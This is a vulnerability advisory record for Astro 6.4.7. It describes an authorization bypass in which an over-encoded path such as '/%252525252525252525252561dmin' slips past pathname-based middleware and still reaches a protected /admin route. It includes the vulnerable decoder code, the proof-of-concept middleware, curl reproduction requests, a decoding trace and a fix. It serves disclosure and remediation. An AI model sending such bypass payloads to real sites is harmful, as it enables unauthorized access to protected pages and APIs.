{"id":"CVE-2026-59731","aliases":["GHSA-vj59-8hwv-xxmv"],"title":"Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch","summary":"Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch","severity":"high","cvss":8.2,"cwe":["CWE-647"],"vendor":"astro","product":"astro","ecosystem":"npm","affected":["astro >= 6.4.7, < 6.4.8"],"patched":["astro 6.4.8"],"published":"2026-07-20","updated":"2026-07-20","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-vj59-8hwv-xxmv","references":[{"url":"https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59731"},{"url":"https://github.com/withastro/astro/pull/17109"},{"url":"https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785"},{"url":"https://github.com/withastro/astro/releases/tag/astro@6.4.8"},{"url":"https://github.com/advisories/GHSA-vj59-8hwv-xxmv"}],"tags":["ghsa","npm"],"epss":0.00466,"epssPercentile":0.37579,"ingestedAt":"2026-07-20T22:43:35.246Z","slug":"CVE-2026-59731","body":"## Overview\n\n# Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch\n\n## Summary\n\nAstro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.\n\nThe issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional `decodeURI()` operation and resolves the request to a protected route.\n\nAs a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.\n\n**Potential CWE:** CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions\n\n---\n\n## Vulnerable Pattern\n\nMiddleware authorization sees:\n\n```text\n/%61dmin\n```\n\nLater rewrite route matching sees:\n\n```text\n/admin\n```\n\nThis discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.\n\n---\n\n## Root Cause\n\n### Iterative Decoding Logic\n\nPR #16967 introduced iterative URI decoding:\n\n```js\nlet iterations = 0;\n\nwhile (decoded !== pathname && iterations < 10) {\n\tpathname = decoded;\n\n\ttry {\n\t\tdecoded = decodeURI(pathname);\n\t} catch {\n\t\t// decodeURI can fail when a decoded literal '%' forms an\n\t\t// invalid sequence with adjacent characters.\n\t\tbreak;\n\t}\n\n\titerations++;\n}\n\nreturn decoded;\n```\n\nThe intent was to ensure middleware receives a fully decoded canonical pathname.\n\nHowever, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.\n\n---\n\n### Rewrite Route Matching\n\nLater, Astro performs another decode during route matching:\n\n```js\nconst decodedPathname = decodeURI(pathname);\n```\n\nConsequently:\n\n```text\nMiddleware pathname: /%61dmin\nRoute matcher:       /admin\n```\n\nThis creates a canonicalization mismatch between authorization logic and routing logic.\n\n---\n\n## Proof of Concept\n\n### Middleware\n\n```js\nimport { defineMiddleware } from 'astro:middleware';\n\nexport const onRequest = defineMiddleware(async (context, next) => {\n\tconst pathname = context.url.pathname;\n\n\tif (pathname === '/admin' || pathname.startsWith('/admin/')) {\n\t\treturn new Response(\n\t\t\t'403 Forbidden: middleware blocked canonical /admin',\n\t\t\t{\n\t\t\t\tstatus: 403,\n\t\t\t\theaders: {\n\t\t\t\t\t'content-type': 'text/plain;charset=UTF-8',\n\t\t\t\t\t'x-middleware-pathname': pathname,\n\t\t\t\t},\n\t\t\t}\n\t\t);\n\t}\n\n\tif (pathname !== '/') {\n\t\tconst response = await next(context.url);\n\n\t\tresponse.headers.set('x-middleware-pathname', pathname);\n\t\tresponse.headers.set(\n\t\t\t'x-vuln-pattern',\n\t\t\t'next(context.url) rewrite after pathname check'\n\t\t);\n\n\t\treturn response;\n\t}\n\n\treturn next();\n});\n```\n\nThe critical pattern is:\n\n```js\nreturn next(context.url);\n```\n\nThe middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.\n\n---\n\n## Reproduction\n\n### Protected Route\n\n```bash\ncurl -i http://127.0.0.1:8989/admin\n```\n\nResponse:\n\n```http\nHTTP/1.1 403 Forbidden\nx-middleware-pathname: /admin\n\n403 Forbidden: middleware blocked canonical /admin\n```\n\n---\n\n### Bypass Request\n\n```bash\ncurl -i http://127.0.0.1:8989/%252525252525252525252561dmin\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\nx-middleware-pathname: /%61dmin\nx-vuln-pattern: next(context.url) rewrite after pathname check\n\nAdmin page reached\nProtected content rendered after rewrite route matching.\nrequest url: http://127.0.0.1:8989/%61dmin\n```\n\nThis demonstrates:\n\n```text\nMiddleware saw: /%61dmin\nRouter reached: /admin\n```\n\n---\n\n## Encoding Depth Analysis\n\nThe bypass occurs at encoding depth 11.\n\n### Decoder Trace\n\n```text\ndepth 0:  /%61dmin                              -> /admin\ndepth 1:  /%2561dmin                            -> /admin\ndepth 2:  /%252561dmin                          -> /admin\ndepth 3:  /%25252561dmin                        -> /admin\ndepth 4:  /%2525252561dmin                      -> /admin\ndepth 5:  /%252525252561dmin                    -> /admin\ndepth 6:  /%25252525252561dmin                  -> /admin\ndepth 7:  /%2525252525252561dmin                -> /admin\ndepth 8:  /%252525252525252561dmin              -> /admin\ndepth 9:  /%25252525252525252561dmin            -> /admin\ndepth 10: /%2525252525252525252561dmin          -> /admin\ndepth 11: /%252525252525252525252561dmin        -> /%61dmin\n```\n\nDepths 0–10 are fully decoded and blocked by middleware.\n\nDepth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.\n\nA later `decodeURI()` converts:\n\n```text\n/%61dmin\n```\n\ninto:\n\n```text\n/admin\n```\n\nallowing route matching to reach the protected endpoint.\n\n---\n\n## Exploit Preconditions\n\nExploitation requires:\n\n### 1. Path-Based Authorization\n\nMiddleware performs authorization using:\n\n```js\ncontext.url.pathname\n```\n\nFor example:\n\n```js\nif (context.url.pathname === '/admin') {\n\tblock();\n}\n```\n\n### 2. Rewrite-Based Routing\n\nThe request is subsequently passed into Astro routing via:\n\n```js\nnext(context.url)\n```\n\nor equivalent rewrite behavior that performs route matching after middleware execution.\n\n---\n\n## Impact\n\nAn unauthenticated attacker may bypass middleware protections guarding routes such as:\n\n```text\n/admin\n/api/admin\n/internal\n/dashboard\n```\n\nif the application:\n\n1. Relies on pathname-based authorization checks.\n2. Uses rewrite behavior that performs route matching after middleware execution.\n\nAffected applications may expose protected pages or APIs despite middleware restrictions.\n\n---\n\n## Security Analysis\n\nThe issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.\n\nPrevious advisories demonstrated bypasses using:\n\n```text\n/%2561dmin\n```\n\nto reach:\n\n```text\n/admin\n```\n\nThe 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.\n\nHowever, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.\n\nThe existence of a decoding limit is not itself problematic.\n\nThe vulnerability arises because Astro:\n\n1. Stops decoding.\n2. Returns a partially canonicalized pathname.\n3. Performs additional decoding later during route matching.\n\nAuthorization and routing therefore operate on different pathname representations.\n\n---\n\n## Recommended Fix\n\nDo not return partially decoded pathnames when the iteration limit is exceeded.\n\nInstead, reject the request whenever decoding has not stabilized before reaching the cap.\n\n### Example Fix\n\n```js\nlet iterations = 0;\n\nwhile (decoded !== pathname) {\n\tif (iterations >= 10) {\n\t\tthrow new Error('URL encoding depth exceeded');\n\t}\n\n\tpathname = decoded;\n\n\ttry {\n\t\tdecoded = decodeURI(pathname);\n\t} catch {\n\t\tbreak;\n\t}\n\n\titerations++;\n}\n\nreturn decoded;\n```\n\n### Additional Hardening\n\nAstro should centralize pathname canonicalization and ensure routing logic never performs an additional independent `decodeURI()` on values that have already been normalized.\n\nAuthorization and route matching must operate on the exact same canonical pathname representation.\n\n---\n\n## Conclusion\n\nAstro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.\n\nWhen URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.\n\nThis can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.\n\n## Affected packages\n\n- `astro >= 6.4.7, < 6.4.8`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `astro 6.4.8`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":45.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}